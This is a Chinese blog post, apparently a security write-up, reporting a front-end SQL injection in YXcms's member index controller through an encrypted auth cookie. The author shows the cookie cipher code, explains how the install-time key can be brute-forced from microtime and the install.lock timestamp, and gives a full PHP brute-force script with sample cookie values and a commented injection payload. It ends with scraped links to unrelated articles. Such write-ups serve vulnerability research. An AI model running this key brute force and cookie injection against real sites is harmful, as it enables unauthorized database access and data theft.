这个cms很久前做过代码审计,很多问题,但是经过这么长时间,现在安全性提高了不少,这几天看了下,基本没有什么特别大的问题了(不包含后台)。

在yxcms/protected/apps/member/controller/indexController.php中,index方法,有如下代码:

$group_id=$this->auth['groupid']?$this->auth['groupid']:1;
$notallow=model('memberGroup')->find("id={$group_id}");

这里从$this->auth里取出groupid,并且直接带入sql语句,明显是注入。查查auth如何来的,跟入到yxcms/protected/apps/member/memberApi.php里,powerCheck方法,看到是cookie里带入的,而cookie里的数据都是加密过的:

function get_cookie($var,$key='',$pre='')
{
if(function_exists('config')){
$key=$key?$key:config('ENCODE_KEY');
$pre=$pre?$pre:config('COOKIE_PRE');
}
$var = $pre.$var;
return isset($_COOKIE[$var]) ? cp_decode($_COOKIE[$var],$key) : '';
}

这里用解密函数cp_decode将之解密,并返回,跟入解密函数,发现解密函数只需要一个key即可。而key是哪里来的?跟入,发现在安装时随机产生:

$this->randomcode= substr(cp_encode(time()),-6);`

cp_encode函数将当前时间戳加密,取后六位得到key值,跟入cp_encode:

function cp_encode($data,$key='',$expire = 0)
{
$string=serialize($data);
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr(md5(microtime()), -$ckey_length);
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey); $string = sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc.str_replace('=', '', base64_encode($result));
}

看到这里还有一个变量,microtime(),这个函数返回一个字符串,内容是微秒数加空格加当前时间戳。如果知道这个字符串,就能生成key了。

又知道,当安装时,会生成install.lock,我们访问下,可以从header里得到last-modified,这样就知道了时间戳的值了。但是微秒数就需要枚举了,微秒数共8位,也就是从0.00000000到0.99999999。

因为普通用户登录,就会分配一个yx_auth的cookie,也就是一个经过加密的字符串,而原字符串里包含用户的名称。并且,因为加密和时间有关,解密却不需要时间。

所以综上,可以写一个爆破脚本,遍历所有微秒数,生成key,然后用key生成一个sql注入字符串,再访问漏洞页面即可。

脚本:

<?php
//var_dump(urlencode(cp_encode('1\t2\'\tsunrain\tsunrain\'\t127.0.0.1\t\t',"yXBgXe",0)));
//var_dump(urlencode(cp_encode('',"yXBgXe",0)));
//get_cookie();
//exit;
date_default_timezone_set("PRC");
$wanted = "b2b7yaO6VlLYO/ygLYZ2iB6fj3AO0QIlBMUEKMxHPssWX7EKIaqQGgA0QmfkMnPmMDVMzTv0oA51WdbnEojLjA2eTyvxnQ";
$i = 0;
$sec = strtotime("Wed, 21 Sep 2016 07:35:20 GMT");
while($i<=99999999)
{
echo ($i/99999999.0)*100;
echo "%\n";
$mytime = sprintf("0.%08d", $i);
$mytime .= " ".$sec;
$i+=1;
$key = substr(my_cp_encode($mytime, $sec),-6);
$got = cp_decode($wanted,$key);
if(strpos($got, 'sunrain')!==false){
echo $key;
exit;
}
}
function get_cookie()
{
$key = "M9/MGX";
return cp_decode("b2b7yaO6VlLYO/ygLYZ2iB6fj3AO0QIlBMUEKMxHPssWX7EKIaqQGgA0QmfkMnPmMDVMzTv0oA51WdbnEojLjA2eTyvxnQ",$key);
}
function my_cp_encode($mytime, $data,$key='',$expire = 0)
{
$string=serialize($data);
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr(md5($mytime), -$ckey_length);
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey); $string = sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc.str_replace('=', '', base64_encode($result));
}
function cp_encode($data,$key='',$expire = 0)
{
$string=serialize($data);
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr(md5(microtime()), -$ckey_length);
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey); $string = sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc.str_replace('=', '', base64_encode($result));
}
function cp_decode($string,$key='')
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr($string, 0, $ckey_length); $cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey); $string = base64_decode(substr($string, $ckey_length));
$string_length = strlen($string); $result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return unserialize(substr($result, 26));
}
else
{
return '';
}
}
?>

不过,这样枚举还是很慢,我跑了几个小时,还是没跑出来……

所以,直接用config.php里的key值生成了一个有问题的字符串,然后访问localhost/yxcms?r=member/index/index:

所以,这个漏洞还是有些限制,就是需要知道key值。不过,还是可以爆破出来的,理论上…………

YXcms前台注入(有限制但可以绕过)的更多相关文章

  1. [复现]蝉知cms 5.6 前台注入

    https://share.weiyun.com/5cbff06337d32a9748d0f1bead5ddbd5 前台注入 在/chanzhieps/system/module/cart/contr ...

  2. sql注入之一次艰难的绕过-三层防护(oracle)

    打开:www.xxxx.com/news/detail.jsp?id=2862 我们经过测试知道此处含有sql注入.我们尝试下: http://www.xxxxxx.com/news/detail.j ...

  3. Natas29 Writeup(Perl命令注入、00截断、绕过过滤)

    Natas29: 本关打开后,可以看到一个下拉列表,选择不同的内容,会得到不同的大量文本的页面. 观察url部分:http://natas29.natas.labs.overthewire.org/i ...

  4. Java反序列化中jndi注入的高版本jdk绕过

    群里大佬们打哈哈的内容,菜鸡拿出来整理学习一下,炒点冷饭. 主要包含以下三个部分: jndi注入原理 jndi注入与反序列化 jndi注入与jdk版本 jndi注入原理: JNDI(Java Name ...

  5. WAF绕过神器 (过安全狗、智创SQL注入)

    WAF绕过神器 (过安全狗.智创SQL注入) 发布时间:-- :10文章来源:网络文章作者:panni007 点击次数: 次 分享到: QQ空间 QQ微博 新浪微博 开心网 人人网 摘要:起因: by ...

  6. [转]高级SQL注入:混淆和绕过

    ############# [0×00] – 简介[0×01] – 过滤规避(Mysql)[0x01a] – 绕过函数和关键词的过滤[0x01b] – 绕过正则表达式过滤[0×02] – 常见绕过技术 ...

  7. [代码审计]某租车系统JAVA代码审计[前台sql注入]

    0x00 前言 艰难徘徊这么久,终于迈出第一步,畏畏缩缩是阻碍大多数人前进的绊脚石,共勉. 系统是租车系统,这个系统是Adog师傅之前发在freebuf(http://www.freebuf.com/ ...

  8. char函数绕过魔术引号注入

    我目前学习到的绕过魔术引号的几种方法(如果知道还有别的请万望告之): 1.倘若服务端是GBK可以尝试宽字节注入 2.使用char函数绕过魔术引号进行注入 3.同char函数类似的函数,例如bin(转换 ...

  9. SQL注入不简单?那是你没有懂它的原理~

    我们真的了解SQL注入吗? 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏 ...

随机推荐

  1. vue+webpack项目中px2rem的例子

    项目环境搭建此处省略,不再赘述,需要的请查阅相关资料. 本篇只介绍,如果在vue+webpack的项目中配置,把px自动转为rem 第一步安装   npm install   postcss-px2r ...

  2. c++ pb_ds库,实现 红黑树,Splay

    C++ pb_ds库 #include <ext/pb_ds/assoc_container.hpp>#include <ext/pb_ds/tree_policy.hpp> ...

  3. MFC-CString与int互相转化

    1. CString转int ; CString str = _T("123"); n = _ttoi(str); 2. int转CString ; CString str; st ...

  4. ParameterizedThreadStart task

    using System;using System.Diagnostics;using System.Threading;using System.Threading.Tasks; namespace ...

  5. __attribute__ (( __cleanup__))

    一.简单说明: cleanup作为__attribute__属性中的一个可选属性值 其作用是当其声明的变量离开了其生命周期,那么 会自动调用你所指定的销毁函数 二.例子: #include <s ...

  6. Spark 自定义函数(udf,udaf)

    Spark 版本 2.3 文中测试数据(json) {"name":"lillcol", "age":24,"ip":& ...

  7. POJ 3667 线段树区间合并裸题

    题意:给一个n和m,表示n个房间,m次操作,操作类型有2种,一种把求连续未租出的房间数有d个的最小的最左边的房间号,另一个操作时把从x到x+d-1的房间号收回. 建立线段树,值为1表示未租出,0为租出 ...

  8. upper_bound() lower_bound() 用法

    头文件 #include<algorithm> #include<iostream>#include<vector>#include<algorithm> ...

  9. USACO 2011 November Cow Lineup /// map set 尺取法 oj25279

    题目大意: 输入n 接下来n行描述n头牛的编号num和品种id 得到包含所有id的最短段 输出最短段的编号差 Sample Input 625 726 115 122 320 130 1 Sample ...

  10. 【第五周读书笔记】我是一只IT小小鸟

    读了第一个同学的自述,我印象最深的就是一些高分同学,只是机械性地背诵知识点,然后不停刷题,只是为了拿一个高分,然而他们对学科的一些基本概念都没有掌握牢靠.高分,并不代表学的就好.学得好不仅仅要牢靠掌握 ...